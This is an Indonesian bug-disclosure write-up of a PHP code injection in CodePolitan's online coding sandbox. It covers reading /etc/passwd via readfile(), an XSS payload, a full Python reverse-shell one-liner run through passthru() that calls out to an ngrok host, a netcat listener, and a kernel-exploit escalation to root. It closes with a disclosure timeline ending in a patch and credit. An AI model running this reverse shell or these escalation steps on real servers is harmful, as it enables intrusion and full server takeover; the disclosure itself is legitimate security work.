Codepolitan.com PHP Code Injection & Get RootΒ Server

Apa Itu CodePolitan?

Dikutip dari https://www.codepolitan.com/about, CodePolitan adalah media edukasi dan informasi tentang pemrograman dan teknologi. CodePolitan dibangun untuk memfasilitasi para developer dalam mendapatkan informasi dan pengetahuan seputar pemrograman dan teknologi. Konten-konten yang ada di CodePolitan disusun sedemikian rupa dan dalam bahasa Indonesia agar mudah dipahami oleh para developer Indonesia.

Apa Itu Code Injection (Kode Injeksi) dan Apa Dampaknya?

Dikutip dari https://www.owasp.org/index.php/Code_Injection, Kode Injeksi adalah istilah umum untuk jenis serangan yang terdiri dari kode yang disuntikan yang kemudian ditafsirkan / dieksekusi oleh aplikasi. Serangan ini biasanya dimungkinkan karena kurangnya validasi data input / output yang tepat, misalnya:

  • Jarakter yang diizinkan (kelas regular expressions standar atau khusus)
    format data
  • Jumlah data yang diharapkan

Jika berhasil meng-eksploitasi serangan ini, dampaknya dapat mencakup bocornya data, hilangnya data atau informasi yang telah dicuri oleh penyerang

🐞 Proof of Concept 🐞

Singkat cerita, berawal dari rasa BOSAN yang melanda diri saya *curhat* saya berfikir untuk melakukan sesuatu yang bermanfaat yaitu belajar ngoding!, yup CodePolitan sendiri adalah tempat belajar ngoding yang cukup populer dikalangan programmer. Berikut adalah tampilan interactive coding dari CodePolitan

Saya berfikir untuk mencoba menjalankan kode yang berfungsi untuk membaca file diserver tersebut. Namun ada beberapa masalah yang muncul seperti fungsi yang dipanggil/dieksekusi di disabled/dinonaktifkan oleh server. Berikut laporannya

  • file_get_contents() β†’ disabled
  • fopen() β†’ disabled
  • readfile() β†’ enabled

Setelah saya memanggil/mengeksekusi satu per satu dari fungsi php tersebut, ternyata ada salah satu fungsi php yang berhasil dipanggil yaitu readfile(). Saya berhasil membaca file /etc/passwd dari server tersebut.

Disisi lain saya juga berhasil mengeksekusi payload XSS

Setelah membaca file /etc/passwd, saya akan mencoba memanggil fungsi php yang berfungsi untuk mengeksekusi perintah shell/cmd, fungsi tersebut yaitu shell_exec(), exec(), system(), passthru(). Satu per satu saya eksekusi namun yang berhasil hanyalah fungsi passthru() saja. Untuk melakukan reverse shell saya menggunakan fungsi php fsockopen() namun fungsi tersebut telah dinonaktifkan oleh server jadi saya akan gunakan fungsi passthru() untuk melakukan reverse shell via command line, sebelumnya saya menggunakan netcat untuk listener β€œnc -lvp 6969” Karena ip address saya bukan public ip maka saya akan forward ip address saya dengan ngrok β€œngrok tcp 6969” kemudian gunakan public address yang di assign ngrok sebagai ip dan port dipayload yang dieksekusi. Berikut kode yang saya gunakan

<?php
passthru('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.tcp.ngrok.io",12084));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'');
?>

uname -a β†’ Linux intcoding 4.8.0–14-generic #44~16.04.1-Ubuntu SMP Fri Mar 3 17:11:16 UTC 2017 x86_64 x84_64 x86_64 GNU/Linux

Kemudia saya mencari exploit kernel 4.8.0–14-generic di mesin pencarian Google dengan keyword β€œ4.8.0–14-generic exploit” Oke saya telah mendapatkannya

Karna perintah gcc menunjukkan command not found maka saya compile di komputer lokal dan saya upload ke server itu, kemudia saya eksekusi exploit tersebut dan saya berhasil mendapatkan akses ROOTnya

Time Line

  • Kamis, 29 November 20.58 β†’ Lapor via Email, tetapi setelah 10 hari tidak ada respon apapun
  • Minggu, 09 Desember 19.11 β†’ Lapor ulang via chat Fanspage Facebook
  • Senin, 10 Desember 17.19 β†’ Laporan bug dinyatakan valid dan bug telah di patch
  • Senin, 10 Desember 17.20 β†’ HOF CodePolitan https://www.codepolitan.com/credit-to-bug-reporter

Refrensi